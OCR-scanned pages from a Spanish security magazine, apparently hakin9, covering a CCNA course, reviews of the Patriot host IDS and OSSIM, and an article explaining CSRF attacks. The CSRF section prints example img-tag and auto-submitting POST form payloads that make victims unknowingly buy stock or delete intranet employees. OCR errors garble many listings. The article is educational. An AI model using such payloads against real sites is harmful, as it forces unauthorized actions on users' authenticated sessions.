y ciertas funciones se encuentran deshabilitadas en
esta version de demostracion. Tenga en cuenta que el
manual que se instala con la version de demostracion
del programa corresponde al manual de la version
completa del producto.

Cuando instale Netintercept, podra abrir la base de
datos de ejemplo incluida en la instalacién y utilizar el
programa para realizar analisis y generar informes en
dicha base de datos. Una vez que Netintercept haya
abierto la base de datos de ejemplo, se recomienda ir a
la ficha Summary (para ver |a totalidad de la informacién
de la base de datos), a la ficha Views (para consultar
informacion referente al equipo, imagenes capturadas
¥ paginas web), v a la ficha "Forensics” (para realizar
busquedas en la base de datos). Por faver, consulte el
archivo README vy el paseo de demostracion por la
aplicacion que se encuentran en la raiz del directorio de
instalacion.

System Tweaker

System Tweaker — es una aplicacion que permite
modificar la configuracion del software a fin de op-
timizar el sistema del ordenador. System Tweaker
permite tanto a los usuarios avanzados como a los
inexpertos hacer su sistema mas rapido, mas eficaz
y mas seguro. Agrupando todos los importantes
ajustes del sistema en una facil de navegar interfaz
de usuario te permite ajustar el sistema a tus necesi-
dades individuales.

Con System Tweaker puedes:

= tomar control de fu sistema con hasta un mil tweaks
diferentes;

* navegar de una manera simple y rapida a través de tu
Windows y los ajustes del sistema;

* hacer tu sistema Windows mas seguro;

* incremantar la eficiencia del sistema;

* simpilficar y acelarar las proceduras de Startup y
Shutdown. @

Mewdmin

Figura 7. Pagina oficial de Vip Defense
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Contenido de CD2 - CCNA

n este nimero vamos a presentaros la se-
E gunda parte del curso CCNA. El objetivo del

presente cursillo es que los clientes conozcan la
tecnologia de la empresa Cisco y ayudarles en la confi-
guracidn de los routers Cisco. El objelive principal de la
ponencia es presentar la informacién bésica requerida
durante los examenes certificados Cisco CCMNA. La po-
nencia s& concentrara sobre todo, en la parte practica.
Sin embargo, no faltardn descripciones de los elementos
necesarios con el trabajo en un equipo real o simulado.

Cisco introdujo varios niveles de certificacion, desde
los bésicos, para cuya consecucion se requieren conoci-
mientos sobre redes pequedias, que incluyen el mercade
de pequefias oficinas y redes locales, hasta los mas
avanzados y complicados entornos de red. Ademas de
la division en diferentes niveles de dificultad, los respec-
tivos titulos se agruparon teniendo en cuenta los tipos de
temas a los cuales se refieren. Asi podemos conseguir
el certificado de disefio de redes, conmutacion y routing,
protecciones, técnicas de conmutacion en las redes ex-
tendidas WAN etc.

Para conseguir cualquier certificado Cisco, debemos
aprobar al menos uno y normalmente varios examenes.
Los conocimientos del candidato se comprueban tedrica
y también practicamente. Si bien los niveles basicos, por
gjemplo CCNA, se pueden conseguir de manera estan-
dar, esto es, al aprobar un examen escrito; en cambio, el
titulo CCIE requiere aprobar el examen que comprueba
tanto los conocimientos de teoria como los conocimien-
tos praclicos. Las pruebas informaticas se realizan en los
centros de examen Sylvan Prometric y cuestan entre 100
y 300 délaras.

El Certificado CCNA (ing. Cisco Certified Network
Associate) es el primer nivel del certificado editado por
la empresa Cisco. Este cerlificado confirma que coneces
los conocimientos necesarios para la instalacion, confi-
guracién y administracion de pequefias redes informéati-
cas (de hasta los 100 hospedajes). Se puede aprobar el
examen de certificacion de dos formas. El primero esta
compuesto de dos examenes: 640-821 INTRO y 640-811
ICND, que duran respectivamente 75 minutos y 60 mi-
nutos. El segundo modo esta compuesto del examen de
una parte (640-801 CCNA) que dura 90 minutos e inclu-
ye los temas de los dos examenes del primer modo. Los
examenes se realizan con el ordenador e incluyen tanto
las preguntas tedricas (en forma de la prueba de pregun-
tas de opcion multiple) como la parte de simulacidn que
requiere realizar ciertas aclividades de configuracion en
el router o conmutador (swilch).

Comao curiosidad podemos mencionar que el examen
CCIE de dos dias es tedrico y practico (el nivel superior
de cerlificacion de Cisco) y se lleva en el laboratorio de
Bruselas. La mayoria de las personas no son capaces
de aprobar el examen a la primera. Es una de las prue-
bas mas dificiles. Todos los certificados Cisco deben
renovarse cada cierto tiempo, normalmente cada dos

o tres anos, es decir, @s necesario volver a aprobar los
examenes.

El cursillo esta dividido en la parte tedrica y practi-
ca. Al principio conoceremos los terminos basicos y los
comandos empleados en la configuracion de los roulers
Cisco. Los laboratorios se dividen en:

= Conexion al router real Cisco y la comunicacidn al
router a traves de la aplicacion HyperTerminal. Abri-
mos la sesidon HyperTerminal. Veremos como por
primera vez ejecutar el router a través del empleo de
los respectivos comandos y de la secuencia de inicio
y realizar la configuracion basica del router real.

* Restablecimiento de conlrasefias en el roufer En
esta parte se describieron unas técnicas de restable-
cimiento de contrasefias para los router Cisco. Las
tareas enumeradas aqui se pueden realizar en la ma-
yoria de los router Cisco sin modificar los equipos.

= Introduccién en la interfaz de usuario y comandos
basicos. En cambio, aqui durante algunos ejercicios
conoceremos los basicos comandos y opciones
empleadas desde el intérprete de comandos de los
router Cisco.

« CDP. Conoceramos los mensajes basicos relaciona-
dos con el protocolo CDP (Cisco Discovery Protocol)
que es protocolo de la capa 2 que une los protocolos
de las capa inferiores de los medios fisicos con los
protocolos de las capas superiores de red. COP se
emplea para recibir informacién sobre los dispositivos
vacinos. Configuracién del mensaje del dia MOTD
(Message of the Day), es decir el mensaje presenta-
do en el momento de entrar. Es (til para suministrar
mensajes dirigidos a todos los usuarios de la red.

* Introduccién en la configuracion de las interfaces de
red y las bases del protocolo IP.

« Protocolo ARP. Conoceremos las bases del practico
empleo del protocolo ARP, es decir, protocolo que
sirve para translacion de las direcciones de red en
direcciones de hardware de las tarjetas Ethernet. Em-
pleado en las redes Ethernet, FDDI y TokenRing. @
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Patriot

Licencia: Fregware

Herramientas

Sistema Operativo: Windows NT/2000/XP

Destino: /DS (Sistema de deteccion de intrusos) de Host
Pagina Oficial: htfp.//www.security-projects.com/

Patriot es una herramienta IDS de Host, capaz de monitorizar el comporta-
miento de nuestro sistema sin necesidad de firmas ni patrones y ademas nos

ofrece la funcionalidad de IPS (Sistemas de Prevencion de Intrusos).

fnicio Rapido: Sin duda alguna es una realidad que
hoy en dia hay personas capaces de acceder a orde-
nadores a lravés de numerosas vulnerabilidades y
que en la mayoria de los casos no Somos conscientes
por un lado de que han accedido a nuestro ordena-
dor y por otro quien ha entrado y de que forma lo ha
realizado.

La seguridad informatica, ha evolucionado desde
sus inicios hasta hoy, y existen actualmente métodos
muy buenos para poder localizar ataques que sufren
nuestros sistemas y redes, uno de los metodos utiliza-
dos son los IDS.

Por un lado nos encontramos con un sistema IDS
cuyo uso no as muy extendido en ordenadores perso-
nales gue forman nuestra red, ya sea por falta de apli-
caciones como la que explico en esta seccidn o porque
normalmente caemos en el error de montar este tipo
de sistema en servidores criticos, pero nos olvidamos
del resto de la red.

HIDS (Host IDS), es un IDS que controla a una
sola maquina, se encarga de monitorizar que el com-
portamiento de dicha maquina sea bueng, un IDS de
host es capaz de protegernos ante la entrada de un
spyware hasta detectar si nos estan creando nuevos

Fans iy comtrol - Pabirit

Patriot 1.0-BETA 04122005
Proteecionas
¥ Coneioras HstBion o pstees ¥ Plsrers lishermy g depetisag astieny
v (ercon du clarves dei ety v Actrwdad SMTP soapechass
¥ Fichema en e deectoies “Swhup” ¥ Bhrvon cuomsion sbuanice
¥ Conacion da umacn V' Morros s comparsdis NetBos
¥ Msvos seracos patsisdes an o sslems ¥ ratescion de rusves drees
Y Combeos am psoess tekforecs 8 e ¥ Combice an o ichem Homts
¥ Defenes ot stacus “Man in tha mids” ¥ Mot vebae proreeadi
¥ Combecs en corfigurncon de irtemet Brplorer ' Plusrvrs mocesos isisfoncos 3 redes
psicer |
Figura 1. Pantalla con la interface de Palriol y sus

parametros de configuracion

servicios, usuarios, etc. NIDS (Network IDS), son IDS
que analizan todo el trafico de red que hay en ese
segmento, son los mas utilizados en empresas. DIDS,
aste as un IDS que mezcla el HIDS v el NIDS (su uso
es limitado dado la complejidad de su despliegue y
gestion).

Pongamonos en situacion: Como buenos Analis-
tas de Seguridad, tenemos nuestra red protegida y
controlada de accesos (a nivel perimetral) mediante
Firewalls, Appliances antivirus para combatir con las
plagas de Internet y como valor afiadido tenemos NIDS
en segmentos criticos.

Pues bien, un dia vemos como todo estos sistemas
no sirven de nada si cualquiera de nuestros usuarios
cae victima de un malware (ya sea por el puerto 80 o
por un correo no legitimo) cuya firma no es identificada
por el antivirus ni por los IDS, ¥y @5 mas su ataque
se centra en la maquina, modificando por ejemplo
el fichero Host para inutilizar el antivirus e incluso
para realizar ataques de Pharming (fraude bancario),
afiadiendo en el arranque programas como lroyanos,
creando nuevos usuarios en el sistema, etc, vy lo malo
es que todo esto sucede a “oscuras” tanto del usuario
como de nosotros cuya finalidad es proteger nuestra
red en su maxima integridad.

Es aqui en esta situacion real donde tiene sentido
la aplicacion presentada: Patriol.

Patriot s una herramienta anti- spyware /malware
ftroyanos /dialer /ataques e incluso virus, funciona
monitorizando la configuracion de Windows y aler-
tando en el caso que detecte un cambic que pueda
haber sido provocado por la accion de cualquier tipo
de Malware,

Patriot es una potente herramienta capaz de alertar
ante situaciones tales como por ejemplo, si nos infec-
tamos con un spyware que quiere redirigirnos a una
pagina Web para molivarnos a comprar o simplemente
para subir en visitas, en este caso Patriot alerta de
cualquier intento de modificacion de la configuracién
del navegador Internet Explorer, como sabemos la
mayoria del malware va destinado a este navegador (y
SU UsD en empresas es casi obligatorio por compatibi-
lidad con herramientas corporativas).

www.hakin9.org




Herramientas

En el caso de que nos infecte el sistema un virus, o
trayano, lo siguiente que hace es poner una entrada en
el registro de Windows para que al reiniciar el sistema,
se ejecute el proceso de dicho virus o troyano, en este
ejemplo, Patriot detecta las modificaciones en las Keys
relacionadas con el arranque de Windows y nos per-
mite eliminarlas en el mismo momento.

Uno de los ataques que mas fraude ha ocasionado
anos atras, sobre todo en el ambito domestico, son los
Dialer, estos atagues nos crean conexiones nuevas
telefonicas y se conectan a lineas de tarificacion
cara en este ejemplo, Patriot nos avisa de que se ha
creado una nueva conexion telefénica y nos permite
eliminarla.

Cuando nuestro sistema se infecta con un virus,
este rapidamente se copia en diferentes directorios
criticos Patriot es capaz de decirnos en tiempo real
los ficheros que se crean en nuestro sistema, esto nos
viene muy bien para llevar un control total, ademas de
alertarnos Patriot nos da la opcidn de poder eliminar-
los.

En nuestra red se puede dar el caso de que una
maquina este comprometida por un atacante y esto
intente realizar ataques a otros ordenadores, uno
de los ataques mas potentes a nivel de red Lan son
los Man in the Midle (MitM), Estos son complejos de
realizar y muy efectivos, gracias a Pairiot estaremos
prolegidos de ellos ya que monitoriza la tabla ARP y
alerta en caso de cambio.

Se puede dar el caso que un atacante o incluso
un usuario de nuestra red, intente acceder a recursos
compartidos de otras maguinas con sistema Operativo
Windows, este caso Patriot nos avisa de los usuarios
que estan conectados al sistema y a que recurso estan
conectados por Netbios.

Cuando un Intruso se hace con nuestra maguina
mediante cualquier vulnerabilidad, probablemente su
intencion sea mantenerse en el sistema, para ello lo que
hace es crear un usuario en el sistema (ademas en la
mayoria de los casos muy parecido algan usuario o pro-
cesc del sistema, por ejemplo, usuario WinxpSupport,
este tipo de usuario seguro que un usuario normal no lo
borra por miedo a dejar inestable el sistema.

Patriot monitoriza la creacion de usuarios avisando
que se han creado y dando la posibilidad de no dejar
que se creen.

Si por ejemplo nuestras maguinas se enfrentan con
un ataque avanzado como por ejemplo los complejos
RootKils, Patriot detecta la instalacién de nuevos
drivers, muy Otil para detectar Rootkits en nuestro
sistema.

Una variante mas fuerte y dafina del Phishing,
es el Pharming, este Ultimo se basa en vulnerar los
DMNS, yva sea a nivel de ISP o a nivel local de nuestra
maquina, Patriot monitoriza los cambios producidos en
el fichero Host esto es muy Otil ya que gracias a esta
herramienta podemos evitar ataques de Pharming y/o
cualquier intencion negativa que tenga el malware en
nuestro sistema.

www hakin3.org
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Figura 2. Pagina oficial de Securily Projects

También puede que nuestra maquina pueda ser
comprometida por un intruso, por ejemplo un Spa-
mmer para utilizarnos como ordenador Zombi para
mandar Spam desde nuesira ubicacion, gracias a la
monitorizacion de Patriot, que controla el envié masivo
de correo hacia un servidor SMTP podemos detec-
tar infecciones de virus en busca de propagacion o
spyware para envid de correo.

Patriot tiene otras funcionalidades que podemos
ver y configurar (activar o desactivar facilmente).

Otros Rasgos Utiles: Patriot tiene una interface de
configuracidn muy sencilla, no consume recursos del
sistema con lo que es un sistema perfecto para unirlo
con otros que se basen en firmas y patrones (lo bueno
de Patriot es precisamente eso, que no requiere de
firmas y patrones sino que se basa en hechos certeros
y @n tiempo real).

En el caso de Patriot y en esto hay que agradecer el
esfuerzo a su creador (Yago Jesis Molina) no solo puede
actuar como 103 de Host, sino que también hace las fun-
ciones de IPS (Sistema de Prevencion de Intrusos) con lo
gque podemos bloguear y eliminar los ataques en tiempo
real sin gue estos lleguen a dafar el sistema.

Como hemos podido comprobar la Seguridad
Informatica es un tema homogéneo y compacto ya que
todo tiene que estar lo mas prolegido posible, sin duda
alguna esta herramienta ayudara a muchos adminis-
tradores de seguridad a tener una red mas controlada,
fiable y por supuesto segura.

La garantia de no tener que depender de si han
salido firmas para los nuevos virus/spyware/malware,
o la deteccion de un ataque mas minucioso, nos hara
la vida mas facil y productiva dentro de nuestro trabajo
por el esfuerzo de proteger nuestra empresa ante cual-
quier atague o intrusion.

Gonzalo Asensio Asensio :
Analista de Seguridad Informatica
Miembro de ISSA-SPAIN

Autor del libro Seguridad en Internet
(http://www.seguridadeninternel.es)
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Open Source Security Information

Management

Sistema operativo: All POSIX (Linux/BED/UNIX-likeQSes
http://sourceforge.net/softwaremap/trove_list.php ?form_cat=200

Licencia: BSD License

Destino: Administracion de Red
Pagina de inicle: www.ossim.net

http://sourceforge.net/softwaremap/irove_list.php?form _cai=187

Open Source Security Information Managment es una herramiente que sirve
para monitorizacion de eventos de seguridad en redes.

La deteccion de ataques en las redes corporativas son
un problema dificil de solucionar. Nos encontramos ante
una paradoja, los sistemas de deteccion que tenemos
para detectar estos alagues generan una gran cantidad
de informacion por su alta sensibilidad y esto imposibilita
la gestion y andlisis de esta informacion. Se trata de la
paradoja de la informacion.

Ademas esta informacion aparece de forma atdémica,
sin relacion entre si, lo que dificulta la abstraccién.

Es en este punto donde aparecen los sistamas SIM,
veamos una descripcion general.

Los sistemas Sim centralizan el proceso de analisis
de eventos de seguridad. SIM es el acronimo de Security
Information Management. Las principales caracteristicas
de estos sistemas podrian reducirse a estas cuatro:

* Analisis de eventos de seguridad de fuentes diver-
sas;

*  Correlacidén de eventos para reducir falsos positivos;

- Posibilitar la reaccion activa, evitando dafios mayo-
res.

Analisis post-incidentes. Se obtiene informacion para
mejorar la seguridad de la red y la deteccion de nuevos
atagues.

El problema de estos sistemas reside en su coste,
tanto de licencia como de implantacién dentro de las
redes a monitorizar.

Llegamos a O35IM y la cultura open source, de
heche su nombre completo es Open Source Security
Information Management.

Esta es su definicion formal: OSSIM es una distribu-
cion de productos open source inlegrados para constituir
una infraestructura de monitorizacion de seguridad [1].

Basada en herramientas open source de gran acep-
tacion en el mundo de la seguridad: Nessus, Snort, Niop,
nmap, rdd, arpWaltch, ACID, Spade...

Nos aporta funcionalidades como un cuadro de
mandos de alto nivel. Con &l podemos acceder de
forma sencilla a toda la informacion que se esta moni-
terizando con un simple vistazo. Como por ejemplo un
monitor de riesgo, vulnerabilidades, sesiones activas,
servicios.

Permite la deteccion de patrones de ataque y situa-
ciones andmalas. Véase como ejemplo el patron de
funcionamiento de un Troyano que abre un puerto no per-
milido dentro de un host de la red que su funcionamiento
naormal no contempla el uso de ese puerto (DNS).

La correlacion es la capacidad de relacionar y proce-
sar la informacion una vez que esta es homogénea. Nos

Indicadoras

Cuadro de mados

Figura 1. La arquitectura de una topologia monitorizada por OSSIM
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Prestaciones de Alto Vuelo...

Herramientas

permite crear nuestras propias reglas de correlacion.
En O55IM la correlacion forma parte del ndcleo y esta
arientada a adaptarse a las nuevas herramientas que se
integren en el sistema,

La valoracion de riesgo proporciona la capacidad
de decision sobre la ejecucion de una accién ante
una amenaza, viendo la amenaza como un evento
que fiene asociada una fiabilidad y probabilidad de
ocurrencia.

Figura 1 presenta la arquitectura de una topologia
monitorizada por OSSIM y su funcionamiento interno.

Desde el cuadro de mandos podemos ver las alarmas
mas recientes, Estas alarmas se dispararan por medio
del motor de correlacion.

El monitor de riesgos mostrara la situacion de cada
indice de riesgo segln CALM,

Los eventos los procesan los sensores y son evia-
dos al servidor OSSIM por medic de un protocolo
abierto que une al sensor con la capa de recoleccion
de eventos(1).

Los eventos se normalizan y se guardan si procede
en la base de datos de eventos(2).

Llegado este momento el se determinara su nivel
de prioridad y su nivel de riesgo. Si se eslima opor-
tuno este nivel generara una alarma en el panel de
control(3).

Las alertas cualificadas pasan al motor de correla-
cion que aclualizara su estado y realimenta de nuevo el
proceso anterior. Este motor sera el que nos aporte al
nivel de aprendizaje que refinara la deteccion de anoma-
lias(4).

A modo de resumen debemos hacer hincapié en
el motor de correlacion de esta herramienta y en su
manera de tratar y manipular los eventos que se pro-
ducen en una red. La correlacion tiene un papel fun-
damental de cara a la gestidon de grandes canlidades
de eventos, ya que es capaz de aumentar la fiabilidad
de las alarmas a parlir de las anomalias detectadas por
parte de los sensores de la red. Todo esto con la unién
de software libre.

Estas lineas no son mas que la punta del iceberg,
OSSIM es un océano de posibilidades por explotar. Por
ello os anime a que esto sélo sea una mera introduccion y
que consultéis la documentacion oficial de la herramienta.

Desde el cuadro de mandos podemos ver las alarmas
mas recientes. Estas alarmas se dispararan por medio
del motor de correlacidn.

El monitor da riesgos mostrara la situacion de cada
indice de riesgo segin CALM (Compromise and Attack
Level Monitor).

Francisco Jesis Gomez Rodriguez |
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Ataque

Ataques CSRF: Ataques de
falsificacion de peticiones

Emilio Casbas :

Grado de dificultad
[ ]

-

certificados de cliente.

atacante engafia de alguna manera al

usuario para que realice una accién de-
terminada en la aplicacién objstivo/vuinerable
sin que el usuario sepa que acciones estan
ocurriendo por debajo.

La forma de trabajo de las sesiones en las
aplicaciones web implica que el ID de sesion
temporalmente tiene el mismo significado que
las credenciales originales de usuario. Esto
quiere decir que, mientras la sesion no ha ex-
pirado, una aplicacién web trata las peticiones
con |Ds de sesion validos como peticiones de
el usuario que previamente inicio la sesion. Si
un atacante abliene el ID de sesion de un usua-
rio autenticado, es posible realizar peticiones
con los mismos privilegios que el usuario ori-
ginal. Como resultado de esto, el ID de sesion
ha sido uno de los principales objetivos en los
ataques de aplicacion. Por una parte uno de los
objetivos de ataques cross sile scripting (X85)
es inyectar cadigo malicioso javascript en la
respuesta de una aplicacion vulnerable con el
objetivo de filtrar la |ID de sesidn de el atacan-
te. En dichos ataques, el atacante abusa de el
hecho que |las aplicaciones web no pueden dis-
tinguir entre peliciones con |1Ds de sesion con

I a idea basica de XSRF es simple; un

www. hakin9.org

Cross site Reference Forgery (XSRF) es una clase de ataque que
afecta a las aplicaciones web con una estructura de invocacion
predicible. Existe en aplicaciones con una estructura de accion
predicible y que usen cookies, autentificacion de navegador o

origen el usuario legitimo, y peticiones con IDs
de sesion robadas por un atacante.

En contraste, cross site request forgery
(X5RF) es una forma relativamente desconocida
de ataque que no esta motivada con la intencion
de robar la ID de sesidn. En vez de ello, los
ataques XSHF abusan de el hecho que las ma-
yorias de aplicaciones wab no pueden distinguir
entre peticiones de usuario intencionadas, y peti-
ciones que &l usuario realizo pero sin tener cono-
cimiento de ello. Por ello no es necesario robar la
ID de sesion es el propio usuario con privilegios
el que realizara la accién por nosotros.

-
En este articulo aprenderas...

* Enqué consiste un ataque CSRF;

» Dierencia principal con respecto al atague
XSS,

* Diferentes tipos de ataque;

* Proteccion contra este tipo de atagues.

Lo que deberias saber...

*  Conocimiento del protocolo HTTP;
*  Falsificacién de peticionas.




Atagues CSRF

Funcionamiento

Los atagues CSRF implican peticio-
nes HTTP falsas, para conlinuar es
importante comprender que es una
peticion HTTP. La web es un entorno
clientes/servidor y HTTP {Protocolo
de transferencia de hipertexto) es
el protocolo que utilizan los clientes
web y servidores para comunicarse.
Un cliente web (comunmente un na-
vagador web) envia una peticion web
a un servidor web, v el servidor web
devuelve una respuesta HTTP. La
peticion de el cliente y la consiguien-
te respuesta de el servidor crean una
transaccion HTTP. Un ejemplo basi-
co de una pelicion HTTP podemos
ver en la Figura 1.

En mas detalle, la peticién HTTP
contiene estos datos (ver Figura 2).

De una manera mas detallada, lo
que realmente ocurre entre nuestro
navegador y el servidor web: ver
Listado 1.

En el ejemplo anterior se esla ac-
cediendo a la pagina www. haking.org
¥y podemos ver varias cabeceras (en
negrita) en las peticiones HTTP. La
cabecera Host es un requerimiento de
HTTPM.1. Existen multitud de cabece-
ras que pueden ser incluidas en una
peticion. Para no complicar este arti-
culo se omitiran la mayoria de ellas y
solo se trabajara con las necesarias.

Metodos de HTTP

Los ataques CSRF se realizan prin-
cipalmente en aquellas aplicaciones
que utilizan el método GET para pa-
sar los parametros solicitados pero
también es posible realizar este ata-
que en aplicaciones que utilizan el
método POST, pero antes de seguir,
veramos que son estos métodos y
para que se utilizan. HTTP define
una serie de métodos que indicaran
el método interpretado para el objeto
identificado en la URL, por ejemplo:

GET http://www. hakind.ozglpl/

img/glider.png HTTPS1.L

Utiliza el metodo GET para conse-
guir el objeto glider.png que en este
caso se trata de una imagen.

Los métodos mas comunes de
HTTP son:

+ GET. Solicita un documento del
servidor;

+  HEAD: Solicita s6lo las cabeceras
de un documento del servidor;

= POST. Envia datos al servidor
para procesarios;

* PUT. Almacena el cuerpo body
de la peticion en el servidor;

* TRACE: Traza el mensaje a tra-
vés de servidores proxy hacia el
servidaor;

*« OPTIONS: Determina que méto-
dos puede usar un servidor;

« DELETE: Borra un documento
de el servidor.

Paticidn HTTP
Dame el documento lamado fAndex.pl

Hay que tener en cuenta que no
lodos los meétodos son implemen-
tados por todos los servidores web,
perc un servidor web para cumplir
la especificacion HTTF 1.1 sdlo ne-
cesita implementar el método GET y
HEAD. Los métodos que nos ocupan
son GET y POST.

GET: es el método mas comdn,
y recupera cualguier informacion
identificada por la URL, como ya
hemos visto.

POST: El método POST fue
disefiado para enviar datos a el ser-
vidor. En la practica es usado para el

Respuesta HTTP
O, agqui esth, e5 de tip texthiml

Cliente Wab

Figura 1. Transaccidn HT TP entre el cliente y el servidor

GET findex.pl HTTF/1.1 Linea de comienzo HTTPM.0.200 OK
Acoept: texthtm Conlent-typa: taxthiml
Host: www.hakin.ong

Cabeceras | Contantlangth: 61
Eupires: Thu, 18 Nov 1881
05200 GMT
iCuarpao de al
mensaje ‘body” |  Adui va el mensaje

Figura 2. La peticion HTTP en detalle

® ®

Atague CERF

GET/HTTPM.1
Host www.ajemplo.as

GET / comprar.php?symbal=0BJX&preciol 15004 cantidade3
Host stocks. ienda.es

HTTPRM .1 200 O
Content-Length: 61

<htmi>

{ﬂ.- ﬂmll

ﬂlmg sre="http:/fslocks tianda. es/comprar. php ?symbol=0B.1X 8 precio 15008 cantidad=3" />

Figura 3. Mélodo GET

www.hakin9.org
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soporte de los formularios HTML.
Los datos rellenados en un formu-
lario son enviados a el servidor de
una manera ordenada tal y como la
aplicacion que los esta esperando
los pueda procesar correctamente,

i

Listado 1. Lo gue ocurre entre el navegador y el serviodor

GET F BTTR/1.1
Host: www.hakin®.ozg
Usez-Agent: Mozlillafl.

(Windows: W: Mindows WT 5.0: en=US: evil.i.Rd)

por ejemplo un programa php que e
|ﬂ5 SHE'I:IE!'I::UHI:!EH'IETI[E hecapt: applicationSy-shockwavreflash, taxt
p i frml;application/xml; application/xheml-xmi,

Después de dar un breve repaso
a los principales métodos de HTTPR,
ahora nos centraremos en la infor-
macion que nos interesa para este
articulo. Hemos visto los principales

cexc/henl;q=0.% cexe/plain; q=0.
imageSpng, inage

fipeq, inage/gif:qu0.2,"/":q

e :-E_:L-'-_-il'.gu.lgﬁ-:

i, videalx-ang,

&g, en=ugrgel. 7, &0 g

hecept-Encoding: grip,deflate

Aecept-Charset: I150-B858-1,ocf-Brqel. V" rg=l.7
metodos de HTTP, nos centramos Keep-Alive: it
con los que nos ocupa este articulo,
GET y POST. | Reciclon BTIE:
- 5 EITRFf1l.x 200 OK
Diferencias entre GET y POST Date: Tue, 14 Nov 2006 15:02:29 GMT
El ataque CSRF se centra en las Server: Apache/1.0.54 (Fedora)

aplicaciones que utilizan tanto el
meétodo GET como el POST para
realizar sus acciones, pero a través
de el método GET es mas facil de
llevar a cabo. Vemos las diferencias
entre estos métodos.

En HTML podemos especificar
dos métodos para enviar la informa-
cion de un formulario. El método es
especificado dentro de un elemento
FORM usando el atributo METHOD
como en este ejemplo:

<form mathod="poat®
action="index.
phpit=registec”

name="fud register™:

La diferencia entre el meétodo GET vy
el POST esta en la forma que codifi-
can o envian los datos a el servidor.
Mientras que el método GET envia
los datos en la url, el método POST
lo hace en el cuerpo de el mensaje.
Las recomendaciones oficiales (htlp:

I-Fowerad-By: PHP/5.0.4

Zer=-Cookie: PHPSEZSSID
sdmcatlnki30gavkplodsSnud;

axplres=Wed, L5 Meov 200% 15:02:29 GMT: path=f
Expless: Tha, 19 How 1381 DB:52:00 GMT
Cache-Contcol: no-store, no-cache,
musk-revalidate, pose-check=0; pre-check
Fragma: no-cache

Content-Typa: text/himl

Hespuesta HITF

INTRAMNET

mFﬂMﬂnHITP

GET/HTTPM.1
Host: werw sjemplo.as

1682.168.0.1

Atagque|CSRF
@

— 2

Clienbe ce la
Intranat autonzads

ffwww.wi.org/Protocols/rfc2616/
rfc2616-sech Mtmifsecd) recomien-
dan cuando ulilizar un método y cuan-
do utilizar otro, pero esto esta fuera de

----4;E%i--qh “‘\II
-

www.gjemplo.es
KE} Raspuesta HTTP

nuestro alcance en este articulo. HTTPM.1 200 OK

Content-Langth: 61
CSRF: Ataque basico <hme
La variedad mas comun de ataque
CSRF usa el tag img de el lenguage

HTML para falsificar la peticion y uti-

tlrnq sre="hilpuV182.168.0. tfadmintborrar_empleado.phpempleado_ld="scasbas" />
Sy

lizando el método GET. Para explicar
como se puede consequir esto asu-
mimos que una peticidn para http./

Figura 4. Esquema de red del ataque, comporfamiento del campo
Timestamp
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www.ejemplo.es/image.png nos da
la siguiente respuesta HTTP:

ITTTESL-1 200 OK

oncant=Lengeht &l
ERL#

img src=

wue @ jemplo. 5/ inage . png® =

Lo importante de este ejemplo es el
contenido (HTML). Cuando un na-
vegador interpreta el HTML de una
respuesta, enviara una peticion GET
por cada recurso adicional, tal como
una imagen que necesita para formar
la pagina, En este ejemplo después
de interpretar esta respuesta, una pe-
ticion adicional como la siguiente sera
enviada para conseguir la imagen:

-ET fimage.png HTTES1.1

TDELY WWW,.elemblo.8s

La caracteristica principal de esta
versibn es que es idéntica a la pe-
ticion anterior (1. peticion http de el
cliente) exceplo por la ruta de el re-
curso, Esto es porque |as peticionas
para las imagenes no son diferentes
a las peticiones de cualquier otra
URL. Un recurso, &s un recurso; no
hay un método para que el navegador
avise a el servidor web que lo que le
va a pedir es una imagen. Veamos
aslo con mas detalle en la Figura 3.
Existen varios métodos para en-
gafar a un usuario y hacerle visitar
un enlace especialmente creado, por
gjemplo mandar al usuario lo que
parece ser una imagen. En el punto
1, el usuario realiza click en el enlace
para visualizar la imagen, pero esta
imagen no es tal, punto 2, sino que
&5 un enlace creado de manera que
genere una peficion en un servidor
de una tienda online. La victima

Listado 2. Método POST

"nrepsSSlke.led 0.1 fadrinfborrar empleado.php™ method="post”

imput eypes"hidden”™ naméw=gmpleado id=*"gscasbas™/=

scripht Cype="text/javascript™s
documene . forme .Eabmle (]
fecript

5i ha estado navegando por este
sitio sin salir con los mecanismos
adecuados, todavia conservara las
credenciales de sesion en su cookie
correspondiente, con lo cual la apli-
cacion autentificara correctamente al
usuario. De esta forma podra llevar a
cabo la peticidn que le hemos dicho
que genera, punta 3, lo que validara
todo el proceso de compra.

Al fratarse de una pelicion para
un recurso embeabido (una imagen) el
usuario es completamente inconscien-
le de que esta pasando realmente, ya
que |a solicitud de estos recursos ocu-
rren sin el conocimiento de el usuario.

Este ejemplo estd hecho con una
tienda online, pero de igual manera
sirve para crear ataques mas peli-
grosos, como realizar transacciones
en banca online, realizar funciones
administrativas en aplicaciones web
restringidas. Esto quiere decir que
es posible acceder a intranets para
realizar este tipo de ataques. Vamos a
considerar una aplicacion de intranet
localizada en hifp:/192.168.0.1/admin
que permite a usuarios autorizados
borrar empleados. Incluso con meca-
nismos de administracion de sesiones
combinados con el hecho gue este
tipo de aplicaciones no es accesible
por el exterior un ataque CSRF puede
tener éxito con algo tan simple como:

<lmg sres
“heep:ff192.168. 0. 1fadmin/borrac_empleads.

phprespleads id=ecaszbas" />

<
En la Red
«  hitpen wikipedia.org'wikiiCross-site_request_forgary,
*  htpewww.w3.org/Prolocols/e2616/rc2616-5ec8. him,
«  hitp:iewwowd.org/Protocols/me2616/c2616-sec15. hmidsec15.1.3;
- hitpsiwwww3ong/MarkUp/himi-spec/itmi-spec_ 8. hmi#SECS.2:
* HTTP: The definitive Guide. O'Reilly (David Gourley, Brian Tolty). 2002.
o

Una de las caracteristicas mas peli-
grosa de el atague CSRF es que el
usuario legitimo es el que hace la pe-
ticion pero sin tener conocimiento de
ello. Por lo que si intentamos buscar
an los logs de el servidor atacado no
veremos nada extrafio, solo las peti-
ciones hechas por los usuarios con
acceso legitimo. (Ver Figura 4).

CSRF Ataque con el método
POST

Este tipo de atague aunque mayori-
tariamente se realiza en aplicaciones
que usan &l meétodo GET también es
posible realizarlo a través de &l méto-
do POST, a continuacion mostramos
el mismo ataque que el anterior pero
con el método POST (ver Listado 2).

Usar POST en formularios
Realmente no es una proteccion,
muchos usuarios piensan que
usando el método POST en vez de
el GET para enviar los datos de un
formulario seremos inmunes a esle
tipo de ataque, pero nada mas lejos
de |la realidad.

A lo que si seremos inmunes
sera a este mélodo a través de la
afiqueta <i=g> pero hay mas formas
de esconder una pelicion, si la apli-
cacion de el servidor es predecible
todavia podremos ejecutario pero
esla vez con ayuda de algo de ja-
vascript como hemos comprobado
anteriormente.

Usar tokens MD5

